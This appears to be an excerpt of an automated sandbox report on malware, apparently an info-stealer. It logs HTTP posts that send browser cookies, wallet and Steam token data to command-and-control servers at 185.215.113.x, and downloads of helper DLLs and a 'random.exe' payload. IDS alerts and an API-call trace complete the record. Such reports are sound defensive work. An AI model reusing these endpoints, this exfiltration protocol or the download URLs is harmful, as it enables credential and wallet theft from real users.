Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKECBFCGIEGCBGCAECGCHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 45 43 42 46 43 47 49 45 47 43 42 47 43 41 45 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 30 34 66 61 63 32 31 35 63 37 66 39 31 34 39 62 63 30 32 37 39 33 33 34 63 63 65 30 38 61 39 34 36 62 33 38 66 62 35 34 30 39 37 33 61 38 30 33 33 62 36 38 66 37 34 66 39 66 33 35 63 64 30 66 65 38 63 31 34 64 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 43 42 46 43 47 49 45 47 43 42 47 43 41 45 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 43 42 46 43 47 49 45 47 43 42 47 43 41 45 43 47 43 2d 2d 0d 0a Data Ascii: ------KKECBFCGIEGCBGCAECGCContent-Disposition: form-data; name="token"a04fac215c7f9149bc0279334cce08a946b38fb540973a8033b68f74f9f35cd0fe8c14d0------KKECBFCGIEGCBGCAECGCContent-Disposition: form-data; name="message"browsers------KKECBFCGIEGCBGCAECGC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAEGHJKJKKJDHIDHJKJDHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 30 34 66 61 63 32 31 35 63 37 66 39 31 34 39 62 63 30 32 37 39 33 33 34 63 63 65 30 38 61 39 34 36 62 33 38 66 62 35 34 30 39 37 33 61 38 30 33 33 62 36 38 66 37 34 66 39 66 33 35 63 64 30 66 65 38 63 31 34 64 30 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 2d 2d 0d 0a Data Ascii: ------AAEGHJKJKKJDHIDHJKJDContent-Disposition: form-data; name="token"a04fac215c7f9149bc0279334cce08a946b38fb540973a8033b68f74f9f35cd0fe8c14d0------AAEGHJKJKKJDHIDHJKJDContent-Disposition: form-data; name="message"plugins------AAEGHJKJKKJDHIDHJKJD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJDBFBKKJDHJKECBGDAKHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 42 46 42 4b 4b 4a 44 48 4a 4b 45 43 42 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 30 34 66 61 63 32 31 35 63 37 66 39 31 34 39 62 63 30 32 37 39 33 33 34 63 63 65 30 38 61 39 34 36 62 33 38 66 62 35 34 30 39 37 33 61 38 30 33 33 62 36 38 66 37 34 66 39 66 33 35 63 64 30 66 65 38 63 31 34 64 30 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 42 46 42 4b 4b 4a 44 48 4a 4b 45 43 42 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 42 46 42 4b 4b 4a 44 48 4a 4b 45 43 42 47 44 41 4b 2d 2d 0d 0a Data Ascii: ------HJDBFBKKJDHJKECBGDAKContent-Disposition: form-data; name="token"a04fac215c7f9149bc0279334cce08a946b38fb540973a8033b68f74f9f35cd0fe8c14d0------HJDBFBKKJDHJKECBGDAKContent-Disposition: form-data; name="message"fplugins------HJDBFBKKJDHJKECBGDAK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKKEBKJJDGHCBGCAAKEHHost: 185.215.113.206Content-Length: 8035Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEBKJDBAAKJDGCBFHCFCHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 42 4b 4a 44 42 41 41 4b 4a 44 47 43 42 46 48 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 30 34 66 61 63 32 31 35 63 37 66 39 31 34 39 62 63 30 32 37 39 33 33 34 63 63 65 30 38 61 39 34 36 62 33 38 66 62 35 34 30 39 37 33 61 38 30 33 33 62 36 38 66 37 34 66 39 66 33 35 63 64 30 66 65 38 63 31 34 64 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 4b 4a 44 42 41 41 4b 4a 44 47 43 42 46 48 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 4b 4a 44 42 41 41 4b 4a 44 47 43 42 46 48 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 4b 4a 44 42 41 41 4b 4a 44 47 43 42 46 48 43 46 43 2d 2d 0d 0a Data Ascii: ------KEBKJDBAAKJDGCBFHCFCContent-Disposition: form-data; name="token"a04fac215c7f9149bc0279334cce08a946b38fb540973a8033b68f74f9f35cd0fe8c14d0------KEBKJDBAAKJDGCBFHCFCContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------KEBKJDBAAKJDGCBFHCFCContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------KEBKJDBAAKJDGCBFHCFC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKFBAKFCBFHIJJJJDBFCHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 4b 46 43 42 46 48 49 4a 4a 4a 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 30 34 66 61 63 32 31 35 63 37 66 39 31 34 39 62 63 30 32 37 39 33 33 34 63 63 65 30 38 61 39 34 36 62 33 38 66 62 35 34 30 39 37 33 61 38 30 33 33 62 36 38 66 37 34 66 39 66 33 35 63 64 30 66 65 38 63 31 34 64 30 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 4b 46 43 42 46 48 49 4a 4a 4a 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 4b 46 43 42 46 48 49 4a 4a 4a 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 4b 46 43 42 46 48 49 4a 4a 4a 4a 44 42 46 43 2d 2d 0d 0a Data Ascii: ------BKFBAKFCBFHIJJJJDBFCContent-Disposition: form-data; name="token"a04fac215c7f9149bc0279334cce08a946b38fb540973a8033b68f74f9f35cd0fe8c14d0------BKFBAKFCBFHIJJJJDBFCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BKFBAKFCBFHIJJJJDBFCContent-Disposition: form-data; name="file"------BKFBAKFCBFHIJJJJDBFC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFHDHCAAKECFIDHIEBAKHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJKKFIJKFCAKJJJKJKFIHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 4b 4b 46 49 4a 4b 46 43 41 4b 4a 4a 4a 4b 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 30 34 66 61 63 32 31 35 63 37 66 39 31 34 39 62 63 30 32 37 39 33 33 34 63 63 65 30 38 61 39 34 36 62 33 38 66 62 35 34 30 39 37 33 61 38 30 33 33 62 36 38 66 37 34 66 39 66 33 35 63 64 30 66 65 38 63 31 34 64 30 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 4b 46 49 4a 4b 46 43 41 4b 4a 4a 4a 4b 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 4b 46 49 4a 4b 46 43 41 4b 4a 4a 4a 4b 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 4b 46 49 4a 4b 46 43 41 4b 4a 4a 4a 4b 4a 4b 46 49 2d 2d 0d 0a Data Ascii: ------HJKKFIJKFCAKJJJKJKFIContent-Disposition: form-data; name="token"a04fac215c7f9149bc0279334cce08a946b38fb540973a8033b68f74f9f35cd0fe8c14d0------HJKKFIJKFCAKJJJKJKFIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HJKKFIJKFCAKJJJKJKFIContent-Disposition: form-data; name="file"------HJKKFIJKFCAKJJJKJKFI--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAEHIDAKECFIEBGDHJEBHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGDGHCBGDHJJKECAECBAHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 44 47 48 43 42 47 44 48 4a 4a 4b 45 43 41 45 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 30 34 66 61 63 32 31 35 63 37 66 39 31 34 39 62 63 30 32 37 39 33 33 34 63 63 65 30 38 61 39 34 36 62 33 38 66 62 35 34 30 39 37 33 61 38 30 33 33 62 36 38 66 37 34 66 39 66 33 35 63 64 30 66 65 38 63 31 34 64 30 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 47 48 43 42 47 44 48 4a 4a 4b 45 43 41 45 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 47 48 43 42 47 44 48 4a 4a 4b 45 43 41 45 43 42 41 2d 2d 0d 0a Data Ascii: ------CGDGHCBGDHJJKECAECBAContent-Disposition: form-data; name="token"a04fac215c7f9149bc0279334cce08a946b38fb540973a8033b68f74f9f35cd0fe8c14d0------CGDGHCBGDHJJKECAECBAContent-Disposition: form-data; name="message"wallets------CGDGHCBGDHJJKECAECBA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIDHDAAEHIEHIECBKJDGHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 44 48 44 41 41 45 48 49 45 48 49 45 43 42 4b 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 30 34 66 61 63 32 31 35 63 37 66 39 31 34 39 62 63 30 32 37 39 33 33 34 63 63 65 30 38 61 39 34 36 62 33 38 66 62 35 34 30 39 37 33 61 38 30 33 33 62 36 38 66 37 34 66 39 66 33 35 63 64 30 66 65 38 63 31 34 64 30 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 44 41 41 45 48 49 45 48 49 45 43 42 4b 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 44 41 41 45 48 49 45 48 49 45 43 42 4b 4a 44 47 2d 2d 0d 0a Data Ascii: ------HIDHDAAEHIEHIECBKJDGContent-Disposition: form-data; name="token"a04fac215c7f9149bc0279334cce08a946b38fb540973a8033b68f74f9f35cd0fe8c14d0------HIDHDAAEHIEHIECBKJDGContent-Disposition: form-data; name="message"files------HIDHDAAEHIEHIECBKJDG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJDBAFIECGHCBFIDGDAAHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 42 41 46 49 45 43 47 48 43 42 46 49 44 47 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 30 34 66 61 63 32 31 35 63 37 66 39 31 34 39 62 63 30 32 37 39 33 33 34 63 63 65 30 38 61 39 34 36 62 33 38 66 62 35 34 30 39 37 33 61 38 30 33 33 62 36 38 66 37 34 66 39 66 33 35 63 64 30 66 65 38 63 31 34 64 30 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 42 41 46 49 45 43 47 48 43 42 46 49 44 47 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 42 41 46 49 45 43 47 48 43 42 46 49 44 47 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 42 41 46 49 45 43 47 48 43 42 46 49 44 47 44 41 41 2d 2d 0d 0a Data Ascii: ------HJDBAFIECGHCBFIDGDAAContent-Disposition: form-data; name="token"a04fac215c7f9149bc0279334cce08a946b38fb540973a8033b68f74f9f35cd0fe8c14d0------HJDBAFIECGHCBFIDGDAAContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------HJDBAFIECGHCBFIDGDAAContent-Disposition: form-data; name="file"------HJDBAFIECGHCBFIDGDAA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAEHJEGIIDAECAAKEBKFHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 45 48 4a 45 47 49 49 44 41 45 43 41 41 4b 45 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 30 34 66 61 63 32 31 35 63 37 66 39 31 34 39 62 63 30 32 37 39 33 33 34 63 63 65 30 38 61 39 34 36 62 33 38 66 62 35 34 30 39 37 33 61 38 30 33 33 62 36 38 66 37 34 66 39 66 33 35 63 64 30 66 65 38 63 31 34 64 30 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 48 4a 45 47 49 49 44 41 45 43 41 41 4b 45 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 48 4a 45 47 49 49 44 41 45 43 41 41 4b 45 42 4b 46 2d 2d 0d 0a Data Ascii: ------AAEHJEGIIDAECAAKEBKFContent-Disposition: form-data; name="token"a04fac215c7f9149bc0279334cce08a946b38fb540973a8033b68f74f9f35cd0fe8c14d0------AAEHJEGIIDAECAAKEBKFContent-Disposition: form-data; name="message"ybncbhylepme------AAEHJEGIIDAECAAKEBKF--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGCFBFBGHDGDAKECAKJEHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 43 46 42 46 42 47 48 44 47 44 41 4b 45 43 41 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 30 34 66 61 63 32 31 35 63 37 66 39 31 34 39 62 63 30 32 37 39 33 33 34 63 63 65 30 38 61 39 34 36 62 33 38 66 62 35 34 30 39 37 33 61 38 30 33 33 62 36 38 66 37 34 66 39 66 33 35 63 64 30 66 65 38 63 31 34 64 30 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 42 46 42 47 48 44 47 44 41 4b 45 43 41 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 42 46 42 47 48 44 47 44 41 4b 45 43 41 4b 4a 45 2d 2d 0d 0a Data Ascii: ------CGCFBFBGHDGDAKECAKJEContent-Disposition: form-data; name="token"a04fac215c7f9149bc0279334cce08a946b38fb540973a8033b68f74f9f35cd0fe8c14d0------CGCFBFBGHDGDAKECAKJEContent-Disposition: form-data; name="message"wkkjqaiaxkhb------CGCFBFBGHDGDAKECAKJE--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49762 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49901 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 25_2_008EBE30 Sleep,InternetOpenW,InternetConnectA,HttpSendRequestA,InternetReadFile,

25_2_008EBE30

